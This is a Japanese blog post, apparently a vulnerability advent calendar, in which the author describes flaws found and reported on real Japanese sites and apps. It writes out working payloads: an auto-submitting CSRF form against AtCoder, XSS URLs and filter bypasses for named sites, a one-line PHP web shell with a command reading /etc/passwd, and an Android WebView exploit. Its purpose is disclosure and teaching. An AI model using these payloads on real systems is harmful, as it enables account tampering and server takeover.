脆弱性 Advent Calendar 2014

脆弱性"&'<<>\ Advent Calendar 2014 - Adventar

1日目 AtCoder

AtCoder

AtCoderができたばかりの頃は、クロスサイトリクエストフォージェリの対策がなされていなくて、下記のような罠ページをログイン済みのターゲットに踏ませれば、プロフィールを書き換えることが可能だった。確認はしていないけど、コンテスト中に間違ったソースコードを投稿させてペナルティをあたえたりもできたかもしれない。

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>AtCoder CSRF Test</title>
  </head>
  <body onload="document.getElementById('form').submit()">
    <form id="form" target="frame" method="POST" action="http://arc002.contest.atcoder.jp/settings">
      <input type="hidden" name="user_name" value="test">
      <input type="hidden" name="user_screen_name" value="test">
      <input type="hidden" name="mail" value="test@example.com">
      <input type="hidden" name="affiliation" value="test">
      <input type="hidden" name="twitter_id" value="test">
    </form>
    <iframe id="frame" width="1" height="1">
    </iframe>
  </body>
</html>

そもそも、何も対策をしないと脆弱性になってしまうという意味で、POSTをクロスサイトで送れるというHTTPの仕様が間違いだと思うのだけど、今さら変えられないのだろうな……。

2日目 BuzzNews

BuzzNews

著作権侵害で炎上したキュレーションサービス。反省して(?)画像を直リンするようになったけど、最近は元に戻っている。

エスケープが全くされていなかったので、下記のURLでクロスサイトスクリプティングが可能だった。

http://buzznews.asia/tag/%3Cscript%3Ealert%28location%29%3C/script%3E

修正されたけど、<title>の部分はエスケープがされないままだった。このURLそのままでは動作しないけど、次のように<title>を閉じるとスクリプトが動作した。報告するときはエスケープされていない箇所全てでスクリプトが動作するように工夫するべきなのかもしれない。

http://buzznews.asia/tag/%3C/title%3E%3Cscript%3Ealert%28location%29%3C/script%3E

クロスサイトスクリプティングの悪用方法

ウィキペディアに書いてあるように、クッキーを奪取すれば、ログインしているユーザーに成り代わって(パスワードの再入力が不要な事なら)何でもできる。クッキーがHTTP onlyで奪取が無理でも、ページの内容を読み取って外部に送信したり、ユーザーの代わりにリクエストを送ったりできる。

一方で、BuzzNewsのようにユーザーが見るだけのサイトの場合、できることがあまり無い。「このサイトは閉鎖しました」と偽の掲示をするくらいだろうか。実は鬼の首をとったかのように騒ぐことではないのかもしれない。

セキュリティ過敏症 - ぼくはまちちゃん!(Hatena)

3日目 東北大学生協

東北大学生協

一言カードのページで「TEAS'TEA」と検索したら、検索結果の欄が真っ白になった。検索結果が無い場合は、真っ白ではなく、無いと表示される。SQLインジェクションのようで、下手に突っついてDBが飛んだりしたらマズいので、余計な事はしないでIPAに報告した。

クロスサイトリクエストフォージェリが可能で、ちょうどクロスサイトフォージェリによる遠隔操作での冤罪が話題になっていた時期だったのでこれも報告したけど、脆弱性ではないということだった。

4日目 某割れサイト

某割れサイトに、このアップローダーが設置されていた。配布サイトには

扱えるファイルの種類についての制限はありません。単なる画像アップローダとは違い様々な作業で利用できる反面危険ですので各種パスワードは信頼できる相手(共同運営者等)以外には知らせずに運用してください。

という注意書きがあるのに、アップロードが可能なパスワードもサイトに書いてあった。

任意のファイルがアップロードできるので、拡張子が.phpのファイルをアップロードすると、スクリプトがそのまま実行できる。スクリプトをいちいち書き換えるのが面倒ならば、

<?php
passthru($_GET['cmd']);

というファイルをアップロードしておけば、

http://example.com/uploader/files/attack.php?cmd=cat%20/etc/passwd

のようにして好きなコマンドを実行できる。

5日目 ヨドバシAndroidアプリ)

ヨドバシ(Androidアプリ)

WebViewに関する脆弱性HTTPSの証明書検証に関する脆弱性の2個。

WebViewに関する脆弱性

Androidで最も作り込みやすい脆弱性だと思う。このスライドが詳しい。要するに、addJavaScriptInterfaceというメソッドによってWebView中のJavaScriptAndroid側のクラスにアクセスできるようになる。呼び出されていることを想定しているメソッドだけが呼び出されるのかと思いきや、contextが取れて、結局そのアプリが持っている権限で好きなことができる。

でも、ヨドバシのアプリってヨドバシのページしか表示しないよね?→ページ内にTwitterとかはてなブックマークがあって、ヨドバシのページ以外も表示できた。そこから攻撃者が用意したページまで辿り着く人なんてまずいないだろうけど。

バイブレーターを動かす攻撃コード。ヨドバシの場合は local_objJavaScript側に追加されるオブジェクト。

<!DOCTYPE html>
<html>
  <head>
    <title>Yodobashi Exploit</title>
  </head>
  <body>
    <pre>
<script type="text/javascript">
//  http://pastebin.com/1TyU7TT0
var loader = local_obj.getClass().getClassLoader();
var util = loader.loadClass("android.webkit.JniUtil");
var field = util.getDeclaredField("sContext");
field.setAccessible(true);
var context = field.get(util);
var cvib = loader.loadClass("android.os.Vibrator");
var vib = cvib.cast(context.getSystemService("vibrator"))
vib.vibrate(1000);
</script>
    </pre>
  </body>
</html>

HTTPSの証明書検証

HTTPSでエラーが発生しても無視して続行していた。これでは攻撃者が中間者攻撃でオレオレ証明書を送り込んでも検知できない。Burp Suiteか何かをPCにインストールして、Androidのプロキシに設定すると確認できる。

public void onReceivedSslError(WebView paramWebView, SslErrorHandler paramSslErrorHandler, SslError paramSslError)
{
    paramSslErrorHandler.proceed();
}

6日目 拡散性ミリオンアーサーAndroid版)

拡散性ミリオンアーサー(Android版)

バイナリエディタ/sdcard/Android/data/com.square_enix.million/files/save/appdata/save_appdata を開いたらパスワードが見えた。Windowsではどこに保存したところで他のアプリから見えてしまうけど、Androidでは他のアプリから見えないようにできるので、見えないようにするべき。アプリの領域ではなく、SDカードに保存すると他のアプリから見えてしまう。古いAndroidではSDカードの読み取りに何の権限も要らない。

f:id:kusano_k:20141206013252p:plain

昔は、READ_PHONE_STATE(IMEIとか電話番号の取得)が要求されていて、再インストールしてもパスワードが要求されなかったので、IMEIで認証していたのかもしれない。詳しく調べていないので分からない。IMEIは他のアプリからの取得可能なので、認証に使うべきではない。

7日目 WordPressを使った某ブログ

WordPressを使ったとあるブログで、 /wp-config.php.bak が閲覧可能になっていた。 /wp-config.php~/wp-config.php.swp もうっかり残る可能性があるので危険。

8日目 teratail

teratail

質問がMarkdown記法が使えるけれど、ここでXSSができた。あくまで、プレビューで動いただけで、投稿したときにもスクリプトが動くのかは分からない。

画像。

![説明][WIDTH:600](hogehoge.jpg)

<img src="/uploads/contributed_images/hogehoge.jpg" width="600" alt="説明">

に変換される。

!["><script>alert(location)</script>](0)

<img src="0" alt=""><script>alert(location)</script>">

になってスクリプトが動いた。報告したら修正されたけど、たしか、<>をエスケープするという対応だったので、

!["onerror="alert(location)][WIDTH:100](hoge)

と書き込むと、

<img src="hoge" width="100" alt=""onerror="alert(location)">

となって、スクリプトが動いた。これも修正されたけど、onerrorなどの文字列を無害な文字列に置換するという対応だった。https://teratail.com/js/frontend/question_editor.jsに名残が残っている。

    var token_escape = function(out) {
        if(typeof out === 'string') {
            out = out.replace(/\t/g, '    ');
            out = out.replace(/&/g, '&amp;');
            out = out.replace(/&lt;/g, '&amp;lt;');
            out = out.replace(/&gt;/g, '&amp;gt;');
            out = out.replace(/&nbsp;/g, '&amp;nbsp;');

            out = out.replace(/</g, '&lt;');
            out = out.replace(/>/g, '&gt;');
            out = out.replace(/"/g, '&quot;');
            out = out.replace(/'/g, '&apos;');
            out = out.replace(/ /g, '&nbsp;');
            out = out.replace(/\\/g, '&#92;');
            //out = out.replace(/on(Blur|Focus|Change|Select|SelectStart|Submit|Reset|Abort|Error|Load|Unload|Click|DblClick|KeyUp|KeyDown|KeyPress|MouseOut|MouseOver|MouseUp|MouseDown|MouseMove)/gi, 'on<!-->$1');
        }

        return out;
    }

これでは、例えば、onmouseenterを使うと回避できる。今では正しく"がエスケープされている。

脆弱性を指摘するときに、修正方法も言うべきなのかもしれないが、差し出がましいし、「お前の言う通りに直したけど脆弱性が残ったぞ( ゚Д゚)ゴルァ!」ということになりそうな気もする。

リンク。

[click](http://example.com)

が、

<a href="http://example.com">click</a>

に変換される。

[XSS](javascript:alert(location&#x29;)

と書き込むと

<a href="javascript:alert(location&#x29;">XSS</a>

に変換される。リンクをクリックするとteratail.comのオリジンでスクリプトが動く。)が使えないけど、属性値の中ならば実体参照が使える。

あと、CSRFが可能だった。

9日目 独立行政法人 水資源機構

独立行政法人 水資源機構

http://www.water.go.jp/cgi-bin/wl-enq/enq.cgi?id=waterWL-Enqが設置されていた(Internet Archive)。WL-Enqには任意のコードを実行可能な脆弱性がある。

WL-Enqの脆弱性 - kusano_kの日記

21日目 togetter

togetter

'+alert(location)+'検索する'がエスケープされずにJavaScriptの文字列中に埋め込まれ、次のHTMLが出力されていた。

<script type="text/javascript" charset="utf-8"> var pageOptions = {
 'pubId': 'pub-1379083136098030',
 'query': ''+alert(location)+'',
 'hl': 'ja',
}

f:id:kusano_k:20141221004304p:plain

現在も、'はエスケープされないけど、文字列が"で括られるようになっている。

HTML中のJavaScript中の文字列を動的に生成するのは面倒くさいし危険。

  • <script>中ではHTMLエスケープをしない、onclickなどのイベントハンドラ中ではHTMLエスケープする
  • サーバーからの出力時にHTMLエスケープをしているという前提で、innerHTMLにそのまま突っ込むと、\x3c<になる
  • 同じく\をエスケープしていないと、var x='【入力A】', y='【入力B】'に対して、var x='aaa\', y=';alert(location)//';という攻撃ができる
  • エンコードとブラウザによっては後ろの文字を消せるので、↑と同様のことができる。参照
  • 改行をエスケープしないとエラーになる。改行は\nだけではない。参照

動的に生成する部分はJavaScriptではなくHTML中に書き出すのが良いと思う。これならば、HTMLのエスケープをするだけで良い。

<span id="param" style="display:none">hoge&lt;&gt;'"\
bbb
</span>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
<script>
var x = $("#param").text();
alert(x);
</script>

jQueryを使っていない場合は、

var x = document.getElementById("param").textContent;

が正しそうだけど、古いIEでは動かない。どうするのが一番良いのだろう?

追記

ありがとうございます!

もしくは、URLエンコードすればだいたい大丈夫らしい。

25日目 ksnctf

ksnctf

私のサイト。普通のサイトで脆弱性を突くと怒られるけど、このサイトのctfq.sweetduet.infoの問題で指定されたポートならば構わないので、お楽しみください。

クロスサイトリクエストフォージェリ

最初の頃は何も対策をしていなかったので、他人にフラグを投稿させることが可能だった。解いた問題を解いていないことにする機能は無いので、勝手に解いたことにされると残念。

安全なWebアプリケーションの作り方のオススメに従って、セッションIDをそのままトークンにしているけど、止めたほうが良さそう。

アクセス制限不備

各種データの保存にSQLiteを使っているけれど、データベースファイルにウェブからアクセス可能だった。これはひどい。問題の答えと、他人が問題を解いた時刻が分かってしまう(ログには日付までしか出していない)状態だった。Twitterから返ってくるアクセストークンとシークレットを保存していなくて良かった。これがあると非公開の人のツイートが読めてしまう。

攻略用サーバーのアカウントの制限不備

一部の問題sshでログインして解くようになっている。また、任意のコードが実行できる問題もある。このような問題で変なことをされると困るので、次の制限をかけている。

  • 問題ごとに別にユーザーを作る。各問題のファイルのアクセス権限を適切に設定すれば他の問題を横から解くことができなくなる
  • ホームディレクトリ中のファイルの所有者をrootにしてパーミッションを落とす。これによって、他人が解いたときのコマンド履歴が見られなくなるし、~/.bashrcに悪戯されることも防げる(※)
  • /tmpのリード権限を落とす。これによってファイルの一覧が取得できなくなるので、他人が解いている途中のファイルを見ることができなくなる
  • これらの仮想環境の中で動かし、仮想環境を動かしているホスト側のユーザーの外向きのネットワーク接続を制限する。仮想マシンのrootが取られても、他に迷惑がかからないように。仮想マシンがやたらと重いのは、さくらのVPSの上で動いているマシンの上で仮想環境が動いていて、CPUの仮想化支援が効いていないから。ちなみに、最近のXeonなら「仮想化のネスティング」ができるらしい

これで充分かと思いきや、(※)のところに穴があった。

本人に話を訊いたところ「chshコマンドとかもマズいんじゃない?」と教えてもらったので、とりあえずsuidが付いているコマンドは全部パーミッションを落とした。

Linuxの脆弱性でrootを取ることも可能だった

そういえば、脆弱性なのか仕様なのか、想定外の解き方で、ユーザーには所有権が手に入らず読み取りも不可のファイルが、所有者はそのままでコピーされていたことがあった。cp -pで所有者を維持したままのコピーはできるけど、コピーするユーザーに読み取り権限がないと無理なはず。誰か方法を知っていたらこっそり教えてください。